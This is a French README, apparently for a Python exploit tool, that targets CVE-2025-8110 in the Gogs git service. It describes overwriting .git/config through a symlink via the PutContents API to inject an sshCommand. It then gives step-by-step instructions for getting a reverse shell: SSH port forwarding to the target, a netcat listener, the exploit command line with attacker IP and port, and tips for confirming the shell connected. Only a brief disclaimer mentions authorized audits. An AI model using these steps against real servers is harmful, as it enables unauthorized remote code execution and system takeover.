
Gogs CVE-2025-8110 RCE Exploit
Un exploit Python automatisé pour CVE-2025-8110 dans Gogs. Cette vulnérabilité permet l'exécution de code à distance (RCE) en abusant de l'API PutContents, qui ne valide pas si un chemin de fichier est un lien symbolique. En écrasant le fichier interne .git/config via un lien symbolique, nous pouvons injecter une sshCommand malveillante pour déclencher un reverse shell.
Assurez-vous d'avoir Python 3 et les dépendances nécessaires installées :
pip install requests rich beautifulsoup4
Vous devez également avoir git installé et accessible dans votre $PATH pour la phase de clonage et de commit du dépôt.
Gogs peut être lié à 127.0.0.1:3001. Utilisez le forwarding de port pour accéder à l'interface Web localement :
ssh -L 3001:127.0.0.1:3001 user@target-ip
Une fois le forwarding effectué, accédez à http://localhost:3001 :
Le script utilise l'API Gogs pour délivrer la charge utile :
Démarrez votre écouteur avant d'exécuter le script, car le shell se déclenche dès que la mise à jour de l'API est traitée.
nc -lvnp 5555
Passez vos identifiants et le jeton en arguments :
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| Option | Description |
|---|---|
-u | L'URL de base de l'instance Gogs (ex. http://localhost:3001). |
-un | Le nom d'utilisateur du compte créé. |
-pw | Le mot de passe du compte créé. |
-t | Le jeton API généré dans les paramètres. |
-lh | L'adresse IP de votre écouteur (LHOST). |
-lp | Le port de votre écouteur (LPORT). |
Note : Si le script se bloque ou renvoie un
Read timed outaprès "Overwriting .git/config", vérifiez votre écouteur. Cela indique généralement que le reverse shell s'est connecté avec succès et maintient la connexion.
Auteur : TYehan
Avertissement : Cet outil est destiné à des fins éducatives et à des audits de sécurité autorisés uniquement. Utilisez-le de manière responsable.